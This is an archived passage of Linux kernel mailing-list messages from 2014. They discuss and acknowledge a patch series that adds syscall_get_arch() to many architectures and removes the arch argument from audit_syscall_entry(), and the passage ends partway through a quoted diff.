--- a/arch/xtensa/kernel/ptrace.c
+++ b/arch/xtensa/kernel/ptrace.c
@@ -342,7 +342,7 @@ void do_syscall_trace_enter(struct pt_regs *regs)
 		do_syscall_trace();
 
 #if 0
-	audit_syscall_entry(current, AUDIT_ARCH_XTENSA..);
+	audit_syscall_entry(...);
 #endif
 }
 
diff --git a/include/linux/audit.h b/include/linux/audit.h
index 4b2983e..62c9d98 100644
--- a/include/linux/audit.h
+++ b/include/linux/audit.h
@@ -26,6 +26,7 @@
 #include <linux/sched.h>
 #include <linux/ptrace.h>
 #include <uapi/linux/audit.h>
+#include <asm/syscall.h>
 
 struct audit_sig_info {
 	uid_t		uid;
@@ -135,12 +136,12 @@ static inline void audit_free(struct task_struct *task)
 	if (unlikely(task->audit_context))
 		__audit_free(task);
 }
-static inline void audit_syscall_entry(int arch, int major, unsigned long a0,
+static inline void audit_syscall_entry(int major, unsigned long a0,
 				       unsigned long a1, unsigned long a2,
 				       unsigned long a3)
 {
 	if (unlikely(current->audit_context))
-		__audit_syscall_entry(arch, major, a0, a1, a2, a3);
+		__audit_syscall_entry(syscall_get_arch(), major, a0, a1, a2, a3);
 }
 static inline void audit_syscall_exit(void *pt_regs)
 {
@@ -316,7 +317,7 @@ static inline int audit_alloc(struct task_struct *task)
 }
 static inline void audit_free(struct task_struct *task)
 { }
-static inline void audit_syscall_entry(int arch, int major, unsigned long a0,
+static inline void audit_syscall_entry(int major, unsigned long a0,
 				       unsigned long a1, unsigned long a2,
 				       unsigned long a3)
 { }
-- 
1.8.5.3




From - Thu Nov 08 21:10:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric Paris <eparis@redhat.com>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.redhat.security.audit,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.openrisc,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 3/4] ARCH: AUDIT: implement syscall_get_arch for all
 arches
Date: Wed, 19 Mar 2014 19:02:24 -0400
Lines: 16
Approved: news@gmane.org
Message-ID: <1395270144.10106.0.camel@localhost>
References: <1395266643-3139-1-git-send-email-eparis@redhat.com>
	 <1395266643-3139-3-git-send-email-eparis@redhat.com>
	 <CAEdQ38Ex47GxhN1ZZMu+RETpWs-ENbfCr8v=6iFg9p_QWaa9zw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1395270150 30691 80.91.229.3 (19 Mar 2014 23:02:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Mar 2014 23:02:30 +0000 (UTC)
Cc: linux-audit@redhat.com, linux-ia64@vger.kernel.org,
	microblaze-uclinux@itee.uq.edu.au,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	linux@openrisc.net,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org
To: Matt Turner <mattst88@gmail.com>
Original-X-From: sparclinux-owner@vger.kernel.org Thu Mar 20 00:02:39 2014
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1WQPVM-0005F7-KD
	for lnx-sparclinux@plane.gmane.org; Thu, 20 Mar 2014 00:02:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756808AbaCSXCf (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Wed, 19 Mar 2014 19:02:35 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:29087 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756691AbaCSXCe (ORCPT <rfc822;sparclinux@vger.kernel.org>);
	Wed, 19 Mar 2014 19:02:34 -0400
Original-Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2JN2QeB006223
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Wed, 19 Mar 2014 19:02:26 -0400
Original-Received: from [10.10.53.247] (vpn-53-247.rdu2.redhat.com [10.10.53.247])
	by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s2JN2OFW006594;
	Wed, 19 Mar 2014 19:02:25 -0400
In-Reply-To: <CAEdQ38Ex47GxhN1ZZMu+RETpWs-ENbfCr8v=6iFg9p_QWaa9zw@mail.gmail.com>
X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:18779 gmane.linux.redhat.security.audit:6089 gmane.linux.ports.ia64:23704 gmane.linux.ports.mips.general:40658 gmane.linux.ports.openrisc:438 gmane.linux.ports.parisc:5732 gmane.linux.ports.ppc64.devel:100276
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/18779>

On Wed, 2014-03-19 at 15:19 -0700, Matt Turner wrote:
> On Wed, Mar 19, 2014 at 3:04 PM, Eric Paris <eparis@redhat.com> wrote:
> > For all arches which support audit implement syscall_get_arch()
> 
> support audit -- is that AUDIT_ARCH? If so, alpha gained support
> recently, so I think this patch needs to handle alpha too?

Absolutely right.  I broke Alpha (in the next patch).  Will fix.

-Eric

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Guy Briggs <rgb@redhat.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.redhat.security.audit,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.openrisc,gmane.linux.ports.sparc,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 3/4] ARCH: AUDIT: implement syscall_get_arch for all
 arches
Date: Fri, 21 Mar 2014 15:13:05 -0400
Lines: 218
Approved: news@gmane.org
Message-ID: <20140321191305.GE16467@madcap2.tricolour.ca>
References: <1395266643-3139-1-git-send-email-eparis@redhat.com>
 <1395266643-3139-3-git-send-email-eparis@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1395429196 12792 80.91.229.3 (21 Mar 2014 19:13:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 21 Mar 2014 19:13:16 +0000 (UTC)
Cc: linux-audit@redhat.com, linux-mips@linux-mips.org,
	linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
	microblaze-uclinux@itee.uq.edu.au, linux@openrisc.net,
	sparclinux@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Eric Paris <eparis@redhat.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Fri Mar 21 20:13:25 2014
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1WR4se-0006pu-G1
	for glpi-linux-ia64-2@plane.gmane.org; Fri, 21 Mar 2014 20:13:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750745AbaCUTNX (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Fri, 21 Mar 2014 15:13:23 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:61371 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750738AbaCUTNW (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
	Fri, 21 Mar 2014 15:13:22 -0400
Original-Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2LJDAYv013805
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Fri, 21 Mar 2014 15:13:10 -0400
Original-Received: from madcap2.tricolour.ca (vpn-59-180.rdu2.redhat.com [10.10.59.180])
	by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2LJD510013148
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO);
	Fri, 21 Mar 2014 15:13:07 -0400
Content-Disposition: inline
In-Reply-To: <1395266643-3139-3-git-send-email-eparis@redhat.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:23705 gmane.linux.redhat.security.audit:6098 gmane.linux.ports.mips.general:40685 gmane.linux.ports.parisc:5733 gmane.linux.ports.openrisc:439 gmane.linux.ports.sparc:18780 gmane.linux.ports.ppc64.devel:100390
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/23705>

On 14/03/19, Eric Paris wrote:
> For all arches which support audit implement syscall_get_arch()
> They are all pretty easy and straight forward, stolen from how the call
> to audit_syscall_entry() determines the arch.
> 
> Signed-off-by: Eric Paris <eparis@redhat.com>
> Cc: linux-ia64@vger.kernel.org
> Cc: microblaze-uclinux@itee.uq.edu.au
> Cc: linux-mips@linux-mips.org
> Cc: linux@lists.openrisc.net
> Cc: linux-parisc@vger.kernel.org
> Cc: linuxppc-dev@lists.ozlabs.org
> Cc: sparclinux@vger.kernel.org

Acked-by: Richard Guy Briggs <rgb@redhat.com>

> ---
>  arch/ia64/include/asm/syscall.h       |  6 ++++++
>  arch/microblaze/include/asm/syscall.h |  5 +++++
>  arch/mips/include/asm/syscall.h       |  2 +-
>  arch/openrisc/include/asm/syscall.h   |  5 +++++
>  arch/parisc/include/asm/syscall.h     | 11 +++++++++++
>  arch/powerpc/include/asm/syscall.h    | 12 ++++++++++++
>  arch/sparc/include/asm/syscall.h      |  8 ++++++++
>  include/uapi/linux/audit.h            |  1 +
>  8 files changed, 49 insertions(+), 1 deletion(-)
> 
> diff --git a/arch/ia64/include/asm/syscall.h b/arch/ia64/include/asm/syscall.h
> index a7ff1c6..1d0b875 100644
> --- a/arch/ia64/include/asm/syscall.h
> +++ b/arch/ia64/include/asm/syscall.h
> @@ -13,6 +13,7 @@
>  #ifndef _ASM_SYSCALL_H
>  #define _ASM_SYSCALL_H	1
>  
> +#include <uapi/linux/audit.h>
>  #include <linux/sched.h>
>  #include <linux/err.h>
>  
> @@ -79,4 +80,9 @@ static inline void syscall_set_arguments(struct task_struct *task,
>  
>  	ia64_syscall_get_set_arguments(task, regs, i, n, args, 1);
>  }
> +
> +static inline int syscall_get_arch(void)
> +{
> +	return AUDIT_ARCH_IA64;
> +}
>  #endif	/* _ASM_SYSCALL_H */
> diff --git a/arch/microblaze/include/asm/syscall.h b/arch/microblaze/include/asm/syscall.h
> index 9bc4317..53cfaf3 100644
> --- a/arch/microblaze/include/asm/syscall.h
> +++ b/arch/microblaze/include/asm/syscall.h
> @@ -1,6 +1,7 @@
>  #ifndef __ASM_MICROBLAZE_SYSCALL_H
>  #define __ASM_MICROBLAZE_SYSCALL_H
>  
> +#include <uapi/linux/audit.h>
>  #include <linux/kernel.h>
>  #include <linux/sched.h>
>  #include <asm/ptrace.h>
> @@ -99,4 +100,8 @@ static inline void syscall_set_arguments(struct task_struct *task,
>  asmlinkage long do_syscall_trace_enter(struct pt_regs *regs);
>  asmlinkage void do_syscall_trace_leave(struct pt_regs *regs);
>  
> +static inline int syscall_get_arch(void)
> +{
> +	return AUDIT_ARCH_MICROBLAZE;
> +}
>  #endif /* __ASM_MICROBLAZE_SYSCALL_H */
> diff --git a/arch/mips/include/asm/syscall.h b/arch/mips/include/asm/syscall.h
> index fc556d8..992b6ab 100644
> --- a/arch/mips/include/asm/syscall.h
> +++ b/arch/mips/include/asm/syscall.h
> @@ -103,7 +103,7 @@ extern const unsigned long sysn32_call_table[];
>  
>  static inline int syscall_get_arch(void)
>  {
> -	int arch = EM_MIPS;
> +	int arch = AUDIT_ARCH_MIPS;
>  #ifdef CONFIG_64BIT
>  	arch |=  __AUDIT_ARCH_64BIT;
>  #endif
> diff --git a/arch/openrisc/include/asm/syscall.h b/arch/openrisc/include/asm/syscall.h
> index b752bb6..2db9f1c 100644
> --- a/arch/openrisc/include/asm/syscall.h
> +++ b/arch/openrisc/include/asm/syscall.h
> @@ -19,6 +19,7 @@
>  #ifndef __ASM_OPENRISC_SYSCALL_H__
>  #define __ASM_OPENRISC_SYSCALL_H__
>  
> +#include <uapi/linux/audit.h>
>  #include <linux/err.h>
>  #include <linux/sched.h>
>  
> @@ -71,4 +72,8 @@ syscall_set_arguments(struct task_struct *task, struct pt_regs *regs,
>  	memcpy(&regs->gpr[3 + i], args, n * sizeof(args[0]));
>  }
>  
> +static inline int syscall_get_arch(void)
> +{
> +	return AUDIT_ARCH_OPENRISC;
> +}
>  #endif
> diff --git a/arch/parisc/include/asm/syscall.h b/arch/parisc/include/asm/syscall.h
> index 8bdfd2c..a5eba95 100644
> --- a/arch/parisc/include/asm/syscall.h
> +++ b/arch/parisc/include/asm/syscall.h
> @@ -3,6 +3,8 @@
>  #ifndef _ASM_PARISC_SYSCALL_H_
>  #define _ASM_PARISC_SYSCALL_H_
>  
> +#include <uapi/linux/audit.h>
> +#include <linux/compat.h>
>  #include <linux/err.h>
>  #include <asm/ptrace.h>
>  
> @@ -37,4 +39,13 @@ static inline void syscall_get_arguments(struct task_struct *tsk,
>  	}
>  }
>  
> +static inline int syscall_get_arch(void)
> +{
> +	int arch = AUDIT_ARCH_PARISC;
> +#ifdef CONFIG_64BIT
> +	if (!is_compat_task())
> +		arch = AUDIT_ARCH_PARISC64;
> +#endif
> +	return arch;
> +}
>  #endif /*_ASM_PARISC_SYSCALL_H_*/
> diff --git a/arch/powerpc/include/asm/syscall.h b/arch/powerpc/include/asm/syscall.h
> index b54b2ad..4271544 100644
> --- a/arch/powerpc/include/asm/syscall.h
> +++ b/arch/powerpc/include/asm/syscall.h
> @@ -13,6 +13,8 @@
>  #ifndef _ASM_SYSCALL_H
>  #define _ASM_SYSCALL_H	1
>  
> +#include <uapi/linux/audit.h>
> +#include <linux/compat.h>
>  #include <linux/sched.h>
>  
>  /* ftrace syscalls requires exporting the sys_call_table */
> @@ -86,4 +88,14 @@ static inline void syscall_set_arguments(struct task_struct *task,
>  	memcpy(&regs->gpr[3 + i], args, n * sizeof(args[0]));
>  }
>  
> +static inline int syscall_get_arch(void)
> +{
> +	int arch = AUDIT_ARCH_PPC;
> +
> +#ifdef CONFIG_PPC64
> +	if (!is_32bit_task())
> +		arch = AUDIT_ARCH_PPC64;
> +#endif
> +	return arch;
> +}
>  #endif	/* _ASM_SYSCALL_H */
> diff --git a/arch/sparc/include/asm/syscall.h b/arch/sparc/include/asm/syscall.h
> index 025a02a..fed3d51 100644
> --- a/arch/sparc/include/asm/syscall.h
> +++ b/arch/sparc/include/asm/syscall.h
> @@ -1,9 +1,11 @@
>  #ifndef __ASM_SPARC_SYSCALL_H
>  #define __ASM_SPARC_SYSCALL_H
>  
> +#include <uapi/linux/audit.h>
>  #include <linux/kernel.h>
>  #include <linux/sched.h>
>  #include <asm/ptrace.h>
> +#include <asm/thread_info.h>
>  
>  /*
>   * The syscall table always contains 32 bit pointers since we know that the
> @@ -124,4 +126,10 @@ static inline void syscall_set_arguments(struct task_struct *task,
>  		regs->u_regs[UREG_I0 + i + j] = args[j];
>  }
>  
> +static inline int syscall_get_arch(void)
> +{
> +	return test_thread_flag(TIF_32BIT) ? AUDIT_ARCH_SPARC
> +					   : AUDIT_ARCH_SPARC64;
> +}
> +
>  #endif /* __ASM_SPARC_SYSCALL_H */
> diff --git a/include/uapi/linux/audit.h b/include/uapi/linux/audit.h
> index 9af01d7..8496cfa 100644
> --- a/include/uapi/linux/audit.h
> +++ b/include/uapi/linux/audit.h
> @@ -343,6 +343,7 @@ enum {
>  #define AUDIT_ARCH_IA64		(EM_IA_64|__AUDIT_ARCH_64BIT|__AUDIT_ARCH_LE)
>  #define AUDIT_ARCH_M32R		(EM_M32R)
>  #define AUDIT_ARCH_M68K		(EM_68K)
> +#define AUDIT_ARCH_MICROBLAZE	(EM_MICROBLAZE)
>  #define AUDIT_ARCH_MIPS		(EM_MIPS)
>  #define AUDIT_ARCH_MIPSEL	(EM_MIPS|__AUDIT_ARCH_LE)
>  #define AUDIT_ARCH_MIPS64	(EM_MIPS|__AUDIT_ARCH_64BIT)
> -- 
> 1.8.5.3
> 
> --
> Linux-audit mailing list
> Linux-audit@redhat.com
> https://www.redhat.com/mailman/listinfo/linux-audit

- RGB

--
Richard Guy Briggs <rbriggs@redhat.com>
Senior Software Engineer, Kernel Security, AMER ENG Base Operating Systems, Red Hat
Remote, Ottawa, Canada
Voice: +1.647.777.2635, Internal: (81) 32635, Alt: +1.613.693.0684x3545
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Guy Briggs <rgb@redhat.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.redhat.security.audit,gmane.linux.ports.ia64,gmane.linux.uml.devel,gmane.linux.ports.parisc,gmane.linux.ports.openrisc,gmane.linux.ports.sh.devel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH 4/4] ARCH: AUDIT: audit_syscall_entry() should not
 require the arch
Date: Fri, 21 Mar 2014 15:18:08 -0400
Lines: 397
Approved: news@gmane.org
Message-ID: <20140321191808.GF16467@madcap2.tricolour.ca>
References: <1395266643-3139-1-git-send-email-eparis@redhat.com>
 <1395266643-3139-4-git-send-email-eparis@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1395429519 17087 80.91.229.3 (21 Mar 2014 19:18:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 21 Mar 2014 19:18:39 +0000 (UTC)
Cc: linux-audit@redhat.com, linux-mips@linux-mips.org, x86@kernel.org,
        linux-ia64@vger.kernel.org,
        user-mode-linux-devel@lists.sourceforge.net,
        linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org,
        linux-xtensa@linux-xtensa.org, microblaze-uclinux@itee.uq.edu.au,
        linux@openrisc.net, linux-sh@vger.kernel.org,
        linux-alpha@vger.kernel.org, sparclinux@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org
To: Eric Paris <eparis@redhat.com>
Original-X-From: linux-mips-bounce@linux-mips.org Fri Mar 21 20:18:47 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from marvin.linux-mips.org ([78.24.191.183] helo=git.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1WR4xl-00050E-Ro
	for sgi-linux-mips@gmane.org; Fri, 21 Mar 2014 20:18:41 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:48205 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S6826484AbaCUTSlQ4yWr (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Fri, 21 Mar 2014 20:18:41 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Fri, 21 Mar 2014 20:18:26 +0100 (CET)
Original-Received: from mx1.redhat.com ([209.132.183.28]:35085 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S6853518AbaCUTSWmNYXS (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Fri, 21 Mar 2014 20:18:22 +0100
Original-Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25])
        by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2LJIEvU030966
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Fri, 21 Mar 2014 15:18:14 -0400
Original-Received: from madcap2.tricolour.ca (vpn-59-180.rdu2.redhat.com [10.10.59.180])
        by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2LJI9TD015853
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO);
        Fri, 21 Mar 2014 15:18:11 -0400
Content-Disposition: inline
In-Reply-To: <1395266643-3139-4-git-send-email-eparis@redhat.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25
X-archive-position: 39544
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: rgb@redhat.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:40686 gmane.linux.redhat.security.audit:6099 gmane.linux.ports.ia64:23706 gmane.linux.uml.devel:14401 gmane.linux.ports.parisc:5734 gmane.linux.ports.openrisc:440 gmane.linux.ports.sh.devel:33809 gmane.linux.ports.alpha:2247 gmane.linux.ports.sparc:18781 gmane.linux.ports.ppc64.devel:100391 gmane.linux.ports.arm.kernel:311338
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/40686>

On 14/03/19, Eric Paris wrote:
> We have a function where the arch can be queried, syscall_get_arch().
> So rather than have every single piece of arch specific code use and/or
> duplicate syscall_get_arch(), just have the audit code use the
> syscall_get_arch() code.
> 
> Signed-off-by: Eric Paris <eparis@redhat.com>
> Cc: linux-alpha@vger.kernel.org
> Cc: linux-arm-kernel@lists.infradead.org
> Cc: linux-ia64@vger.kernel.org
> Cc: microblaze-uclinux@itee.uq.edu.au
> Cc: linux-mips@linux-mips.org
> Cc: linux@lists.openrisc.net
> Cc: linux-parisc@vger.kernel.org
> Cc: linuxppc-dev@lists.ozlabs.org
> Cc: linux-s390@vger.kernel.org
> Cc: linux-sh@vger.kernel.org
> Cc: sparclinux@vger.kernel.org
> Cc: user-mode-linux-devel@lists.sourceforge.net
> Cc: linux-xtensa@linux-xtensa.org
> Cc: x86@kernel.org

Acked-by: Richard Guy Briggs <rgb@redhat.com>

> ---
>  arch/alpha/kernel/ptrace.c      |  2 +-
>  arch/arm/kernel/ptrace.c        |  4 ++--
>  arch/ia64/kernel/ptrace.c       |  2 +-
>  arch/microblaze/kernel/ptrace.c |  3 +--
>  arch/mips/kernel/ptrace.c       |  4 +---
>  arch/openrisc/kernel/ptrace.c   |  3 +--
>  arch/parisc/kernel/ptrace.c     |  9 +++------
>  arch/powerpc/kernel/ptrace.c    |  7 ++-----
>  arch/s390/kernel/ptrace.c       |  4 +---
>  arch/sh/kernel/ptrace_32.c      | 14 +-------------
>  arch/sh/kernel/ptrace_64.c      | 17 +----------------
>  arch/sparc/kernel/ptrace_64.c   |  9 ++-------
>  arch/um/kernel/ptrace.c         |  3 +--
>  arch/x86/kernel/ptrace.c        |  8 ++------
>  arch/x86/um/asm/ptrace.h        |  4 ----
>  arch/xtensa/kernel/ptrace.c     |  2 +-
>  include/linux/audit.h           |  7 ++++---
>  17 files changed, 25 insertions(+), 77 deletions(-)
> 
> diff --git a/arch/alpha/kernel/ptrace.c b/arch/alpha/kernel/ptrace.c
> index 86d8351..d9ee817 100644
> --- a/arch/alpha/kernel/ptrace.c
> +++ b/arch/alpha/kernel/ptrace.c
> @@ -321,7 +321,7 @@ asmlinkage unsigned long syscall_trace_enter(void)
>  	if (test_thread_flag(TIF_SYSCALL_TRACE) &&
>  	    tracehook_report_syscall_entry(current_pt_regs()))
>  		ret = -1UL;
> -	audit_syscall_entry(AUDIT_ARCH_ALPHA, regs->r0, regs->r16, regs->r17, regs->r18, regs->r19);
> +	audit_syscall_entry(regs->r0, regs->r16, regs->r17, regs->r18, regs->r19);
>  	return ret ?: current_pt_regs()->r0;
>  }
>  
> diff --git a/arch/arm/kernel/ptrace.c b/arch/arm/kernel/ptrace.c
> index 0dd3b79..c9d2b34 100644
> --- a/arch/arm/kernel/ptrace.c
> +++ b/arch/arm/kernel/ptrace.c
> @@ -943,8 +943,8 @@ asmlinkage int syscall_trace_enter(struct pt_regs *regs, int scno)
>  	if (test_thread_flag(TIF_SYSCALL_TRACEPOINT))
>  		trace_sys_enter(regs, scno);
>  
> -	audit_syscall_entry(AUDIT_ARCH_ARM, scno, regs->ARM_r0, regs->ARM_r1,
> -			    regs->ARM_r2, regs->ARM_r3);
> +	audit_syscall_entry(scno, regs->ARM_r0, regs->ARM_r1, regs->ARM_r2,
> +			    regs->ARM_r3);
>  
>  	return scno;
>  }
> diff --git a/arch/ia64/kernel/ptrace.c b/arch/ia64/kernel/ptrace.c
> index b7a5fff..6f54d51 100644
> --- a/arch/ia64/kernel/ptrace.c
> +++ b/arch/ia64/kernel/ptrace.c
> @@ -1219,7 +1219,7 @@ syscall_trace_enter (long arg0, long arg1, long arg2, long arg3,
>  		ia64_sync_krbs();
>  
>  
> -	audit_syscall_entry(AUDIT_ARCH_IA64, regs.r15, arg0, arg1, arg2, arg3);
> +	audit_syscall_entry(regs.r15, arg0, arg1, arg2, arg3);
>  
>  	return 0;
>  }
> diff --git a/arch/microblaze/kernel/ptrace.c b/arch/microblaze/kernel/ptrace.c
> index 39cf508..bb10637 100644
> --- a/arch/microblaze/kernel/ptrace.c
> +++ b/arch/microblaze/kernel/ptrace.c
> @@ -147,8 +147,7 @@ asmlinkage long do_syscall_trace_enter(struct pt_regs *regs)
>  		 */
>  		ret = -1L;
>  
> -	audit_syscall_entry(EM_MICROBLAZE, regs->r12, regs->r5, regs->r6,
> -			    regs->r7, regs->r8);
> +	audit_syscall_entry(regs->r12, regs->r5, regs->r6, regs->r7, regs->r8);
>  
>  	return ret ?: regs->r12;
>  }
> diff --git a/arch/mips/kernel/ptrace.c b/arch/mips/kernel/ptrace.c
> index 65ba622..c06bb82 100644
> --- a/arch/mips/kernel/ptrace.c
> +++ b/arch/mips/kernel/ptrace.c
> @@ -671,9 +671,7 @@ asmlinkage void syscall_trace_enter(struct pt_regs *regs)
>  	if (unlikely(test_thread_flag(TIF_SYSCALL_TRACEPOINT)))
>  		trace_sys_enter(regs, regs->regs[2]);
>  
> -	audit_syscall_entry(syscall_get_arch(),
> -			    regs->regs[2],
> -			    regs->regs[4], regs->regs[5],
> +	audit_syscall_entry(regs->regs[2], regs->regs[4], regs->regs[5],
>  			    regs->regs[6], regs->regs[7]);
>  }
>  
> diff --git a/arch/openrisc/kernel/ptrace.c b/arch/openrisc/kernel/ptrace.c
> index 71a2a0c..4f59fa4 100644
> --- a/arch/openrisc/kernel/ptrace.c
> +++ b/arch/openrisc/kernel/ptrace.c
> @@ -187,8 +187,7 @@ asmlinkage long do_syscall_trace_enter(struct pt_regs *regs)
>  		 */
>  		ret = -1L;
>  
> -	audit_syscall_entry(AUDIT_ARCH_OPENRISC, regs->gpr[11],
> -			    regs->gpr[3], regs->gpr[4],
> +	audit_syscall_entry(regs->gpr[11], regs->gpr[3], regs->gpr[4],
>  			    regs->gpr[5], regs->gpr[6]);
>  
>  	return ret ? : regs->gpr[11];
> diff --git a/arch/parisc/kernel/ptrace.c b/arch/parisc/kernel/ptrace.c
> index e842ee2..7481457 100644
> --- a/arch/parisc/kernel/ptrace.c
> +++ b/arch/parisc/kernel/ptrace.c
> @@ -276,14 +276,11 @@ long do_syscall_trace_enter(struct pt_regs *regs)
>  
>  #ifdef CONFIG_64BIT
>  	if (!is_compat_task())
> -		audit_syscall_entry(AUDIT_ARCH_PARISC64,
> -			regs->gr[20],
> -			regs->gr[26], regs->gr[25],
> -			regs->gr[24], regs->gr[23]);
> +		audit_syscall_entry(regs->gr[20], regs->gr[26], regs->gr[25],
> +				    regs->gr[24], regs->gr[23]);
